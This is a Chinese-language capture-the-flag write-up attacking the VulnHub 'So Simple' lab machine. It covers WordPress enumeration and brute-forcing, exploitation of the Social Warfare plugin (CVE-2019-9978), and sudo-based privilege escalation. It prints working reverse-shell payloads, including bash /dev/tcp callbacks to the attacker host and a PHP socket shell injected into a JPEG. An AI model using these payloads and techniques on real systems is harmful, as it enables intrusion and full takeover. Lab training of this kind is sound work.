靶机地址：https://download.vulnhub.com/sosimple/So-Simple-1.7z

---

1.主机发现

目前只知道目标靶机在232.xx网段，通过如下的命令，看看这个网段上在线的主机。

$ nmap -sP 192.168.232.0/24

锁定目标靶机地址。

2. 端口扫描

通过下面的命令扫描一下端口。

$ sudo nmap -p- 192.168.232.147

端口比较少，枚举一下具体的服务。

3. 服务枚举

通过下面的命令枚举一下端口上的服务。

$ sudo nmap -p22,80 -A -sT -sV 192.168.232.147

枚举出的服务没有太特别的，主要就是一个Apache。

4. 服务探查

还是先通过浏览器访问一下看看。

还是一个简单的图片，最近几个靶机都是这种状况啊，枚举一下目录吧。

$ dirsearch -u http://192.168.232.147:80/

哈，是个wordpress，基于前车之鉴，还是用gobuster扫一下。

$ gobuster dir -u http://192.168.232.147:80/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

没有太特殊的，在这个例子中还不如dirsearch全面，还是手工进去看一下吧。

简单试了一下，枚举出了admin用户，可以对这个用户进行爆破，在此之前先用wpscan扫描一下，并待参数枚举一下存在漏洞的插件和用户。

$ wpscan --url http://192.168.232.147/wordpress/ -e u,vp

确实还是发现了一些内容，比如xmlrpc、upload目录，另外还枚举出了两个用户：admin和max。先手工看看哪里有文件上传的入口，然后再看看是否可以通过文件上传构建反弹shell。

目前是找到了上传文件的目标位置，但是还没有找到上传文件的入口，估计得需要登录才能有更多的权限，通过rockyou爆破一下admin用户。

$ wpscan --url http://192.168.232.147/wordpress/ -P ../../rockyou.txt -U admin -t 6

爆破了半天，没啥效果，再爆破一下max用户试试看。

$ wpscan --url http://192.168.232.147/wordpress/ -P ../../rockyou.txt -U max -t 6

用了不到10分钟就爆破出来了，手工登录看看。

确实登录成功了，并且发现发表新的内容的时候，时可以添加一个图片的，如下图。

我们尝试发一个内容添加图片试试，确实成功了，如下图。

找一下前面发现的upload目录里面，看是否有对应的图片。

确实在uploads下找到了我们上传的图片。这应该好办了，采用我们的惯用手法，构造一个图片格式的php脚本，其中包含反弹shell，如下图。

上传一下试试看。

嗯，看来靶机还是做了一些防护处理的，没法直接上传。找到一个神器（https://github.com/dlegs/php-jpeg-injector），可以在图片中注入php，弄下来试试。

$ python3 gd-jpeg.py ../ubertooth.jpeg '<?php $sock=fsockopen("192.168.232.129",4444); $proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>' infected_reverse.jpeg

貌似生成了新的图片，先在本地建立监听，然后上传一下，然后试试看。可惜的是上传成功了，但是没有正常反弹。
感觉前面的wpscan扫描可能还漏了啥，扫描一下全量插件试试看。

$ wpscan --url http://192.168.232.147/wordpress/ -e ap

总共扫描出了两个插件，搜索一下有没有针对这俩插件的EXP。

都没有搜出来，上网直接搜搜看。发现貌似simple-cart-solution插件有个CVE漏洞，如下图。

并且social-warfare有个远程脚本执行的漏洞。

第一个漏洞貌似有些异常，在NIST找不到相关的具体信息，如下图。

我们集中精力看social-warfare的远程脚本执行漏洞，具体可以参照git上的内容（https://github.com/hash3liZer/CVE-2019-9978）。
先制作一个payload。

$ echo "<pre>system('cat /etc/passwd')</pre>" > payload1.txt

启动python http服务，让payload1可以被访问到。

$ python3 -m http.server 8000

然后运行exp脚本。

$ /usr/bin/python2 CVE-2019-9978/cve-2019-9978.py --target http://192.168.232.147/wordpress/ --payload-uri http://127.0.0.1:8000/payload1.txt

貌似失败了，估计还是有些问题，估计是payload1的地址原因，从环回地址改成实际地址试试看。

远程代码执行成功了，我们重新构造一个带有反弹shell的payload试试看。

$ echo "<pre>system(\"/bin/bash -c 'bash -i >& /dev/tcp/192.168.232.129/4444 0>&1'\")</pre>" > payload2.txt

先在4444端口上建立一下监听，然后执行下面的EXP

$ /usr/bin/python2 CVE-2019-9978/cve-2019-9978.py --target http://192.168.232.147/wordpress/ --payload-uri http://192.168.232.129:8000/payload2.txt

反弹shell建立成功。

5. 提权

先优化一下shell。

www-data@so-simple:/var/www/html/wordpress/wp-admin$ whereis python
www-data@so-simple:/var/www/html/wordpress/wp-admin$ /usr/bin/python3.8 -c "import pty;pty.spawn('/bin/bash')"

5.1 枚举系统信息

通过下面的命令枚举一下系统信息。

www-data@so-simple:/var/www/html/wordpress/wp-admin$ uname -a
www-data@so-simple:/var/www/html/wordpress/wp-admin$ cat /etc/*-release

是64位的Ubuntu 20.04 LTS版本，内核5.4.0-40。

5.2 枚举定时任务

通过下面的命令枚举一下定时任务。

www-data@so-simple:/var/www/html/wordpress/wp-admin$ cat /etc/crontab

没有可以利用的定时任务。

5.3 查看passwd文件

先查看一下passwd文件中都有哪些用户。

www-data@so-simple:/var/www/html/wordpress/wp-admin$ cat /etc/passwd

从上面可以看到，存在root、max、steven三个具备正常shell的用户。尝试向passwd文件中写入一个用户试试看。

www-data@so-simple:/var/www/html/wordpress/wp-admin$ echo "testuser" >> /etc/passwd

没有权限。

5.4 枚举可执行文件

通过下面的命令枚举一下可执行文件。

www-data@so-simple:/var/www/html/wordpress/wp-admin$ sudo -l

www-data@so-simple:/var/www/html/wordpress/wp-admin$ find / -user root -perm -4000 2>/dev/null

看得不太明显，继续往下。

5.5 查看家目录

查看一下当前www-data用户的家目录下都有些啥。

有个名为mybackup.txt的文件比较可疑，进去看看。

www-data@so-simple:/var/www/html/wordpress/wp-admin$ cat ~/html/mybackup.txt

感觉像是base64编码过的内容，尝试解码一下看看。

是base32编码的内容，其实就是之前我们爆破出来的max用户的密码。尝试用这个密码切换到max用户试试。

发现不是任何一个用户的的shell登录密码，暂时放一边。

5.6 Linpeas提权

www-data@so-simple:/tmp$ chmod u+x linpeas.sh

有意思的是，这里面在max用户下找到了ssh登录的密钥对，如下图。

把私钥拷贝下来放到本地的~/.ssh/id_rsa文件中，尝试登录一下试试看。

$ chmod 600 ~/.ssh/id_rsa
$ ssh max@192.168.232.147 -i ~/.ssh/id_rsa

登录成功，直接在这个用户下运行一下linpeas.sh试试看。

貌似这个/usr/sbin/service有些猫腻，不过不是很懂，莫非是不用密码可以进入到steven账号下面？但是这个/usr/sbin/service应该怎么用，还是一头雾水，不过之前大佬传授给我一个超级牛逼的网站（https://gtfobins.github.io/），上面看看有没有具体用法。

网站的Sudo下面找到service词条，打开后找到了具体的用法，如下图。

试一下看看。

max@so-simple:/tmp$ sudo -u steven /usr/sbin/service ../../bin/sh

果真是切换到了steven用户啊，轮换了两三个用户了，直接在steven用户下继续执行linpeas吧。

哈，感觉是同样的手法又用了一次，如下图。那就看看这个shell中是什么内容吧。

呵，竟然找不到这个文件，好奇怪。按照上面的葫芦画个瓢，看看能不能用这个server-health.sh提权吧。

$ sudo -u root /opt/tools/server-health.sh ../../../usr/bin/sh

还是找不到文件。按照靶机的尿性，既然linpeas能够给出这个线索，不可能没有用啊，没有条件创造条件也要上，我们自己创建一个server-health.sh文件试试看。

$ mkdir -p /opt/tools
$ echo "#!/bin/sh" > /opt/tools/server-health.sh
$ chmod u+x /opt/tools/server-health.sh
$ sudo -u root /opt/tools/server-health.sh ../../../usr/bin/sh
$ sudo -u root /opt/tools/server-health.sh ../../bin/sh

无论如何折腾都还是steven用户，直接在server-health.sh中写入反弹shell试试看。

$ echo "bash -c 'exec bash -i &>/dev/tcp/192.168.232.129/4444 <&1'" > /opt/tools/server-health.sh
$ cat /opt/tools/server-health.sh
$ chmod u+x /opt/tools/server-health.sh
$ sudo -u root /opt/tools/server-health.sh

这次提权成功，顺利拿到root权限。

6. 获取flag

获取一下flag。